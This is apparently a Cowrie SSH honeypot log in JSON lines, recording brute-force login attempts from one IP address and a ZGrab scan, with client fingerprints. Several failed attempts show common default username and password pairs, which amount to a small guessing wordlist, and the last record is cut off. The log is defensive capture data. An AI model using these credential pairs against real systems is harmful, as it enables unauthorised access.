{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:55.142835Z","src_ip":"192.109.200.78","session":"fb11a3ad5786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:55.227949Z","src_ip":"192.109.200.78","session":"fb11a3ad5786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:55.482601Z","src_ip":"192.109.200.78","session":"fb11a3ad5786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:56.568570Z","src_ip":"192.109.200.78","session":"fb11a3ad5786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38092,"dst_ip":"10.17.0.5","dst_port":22,"session":"f660264080cc","protocol":"ssh","message":"New connection: 192.109.200.78:38092 (10.17.0.5:22) [session: f660264080cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:59.244708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:59.249128Z","src_ip":"192.109.200.78","session":"f660264080cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:59.339458Z","src_ip":"192.109.200.78","session":"f660264080cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:59.591242Z","src_ip":"192.109.200.78","session":"f660264080cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:00.706895Z","src_ip":"192.109.200.78","session":"f660264080cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38104,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3266c03423b","protocol":"ssh","message":"New connection: 192.109.200.78:38104 (10.17.0.5:22) [session: f3266c03423b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:03.319438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:03.351686Z","src_ip":"192.109.200.78","session":"f3266c03423b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:03.407189Z","src_ip":"192.109.200.78","session":"f3266c03423b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:03.733380Z","src_ip":"192.109.200.78","session":"f3266c03423b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:04.821503Z","src_ip":"192.109.200.78","session":"f3266c03423b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38120,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e40255572f","protocol":"ssh","message":"New connection: 192.109.200.78:38120 (10.17.0.5:22) [session: 29e40255572f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:07.429853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:07.435659Z","src_ip":"192.109.200.78","session":"29e40255572f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:07.518021Z","src_ip":"192.109.200.78","session":"29e40255572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:07.767925Z","src_ip":"192.109.200.78","session":"29e40255572f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:08.852502Z","src_ip":"192.109.200.78","session":"29e40255572f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57314,"dst_ip":"10.17.0.5","dst_port":22,"session":"406aa4141ca1","protocol":"ssh","message":"New connection: 192.109.200.78:57314 (10.17.0.5:22) [session: 406aa4141ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:11.862613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:11.867199Z","src_ip":"192.109.200.78","session":"406aa4141ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:11.951215Z","src_ip":"192.109.200.78","session":"406aa4141ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:12.208046Z","src_ip":"192.109.200.78","session":"406aa4141ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.41","src_port":57954,"dst_ip":"159.203.135.109","dst_port":22,"session":"f05a867a1528","protocol":"ssh","message":"New connection: 198.235.24.41:57954 (159.203.135.109:22) [session: f05a867a1528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:12.511542Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:13.300061Z","src_ip":"192.109.200.78","session":"406aa4141ca1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:13.565672Z","src_ip":"198.235.24.41","session":"f05a867a1528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:14.739211Z","src_ip":"198.235.24.41","session":"f05a867a1528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"85ab3d31b017","protocol":"ssh","message":"New connection: 192.109.200.78:57326 (10.17.0.5:22) [session: 85ab3d31b017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:17.877767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:17.882450Z","src_ip":"192.109.200.78","session":"85ab3d31b017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:17.964999Z","src_ip":"192.109.200.78","session":"85ab3d31b017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:18.217120Z","src_ip":"192.109.200.78","session":"85ab3d31b017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:19.304448Z","src_ip":"192.109.200.78","session":"85ab3d31b017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49880,"dst_ip":"10.17.0.5","dst_port":22,"session":"240509153ce5","protocol":"ssh","message":"New connection: 192.109.200.78:49880 (10.17.0.5:22) [session: 240509153ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:22.048366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:22.053682Z","src_ip":"192.109.200.78","session":"240509153ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:22.136476Z","src_ip":"192.109.200.78","session":"240509153ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:22.485831Z","src_ip":"192.109.200.78","session":"240509153ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:23.179186Z","src_ip":"198.235.24.41","session":"f05a867a1528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:23.570593Z","src_ip":"192.109.200.78","session":"240509153ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49896,"dst_ip":"10.17.0.5","dst_port":22,"session":"455a2055d330","protocol":"ssh","message":"New connection: 192.109.200.78:49896 (10.17.0.5:22) [session: 455a2055d330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:24.190204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:24.195369Z","src_ip":"192.109.200.78","session":"455a2055d330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s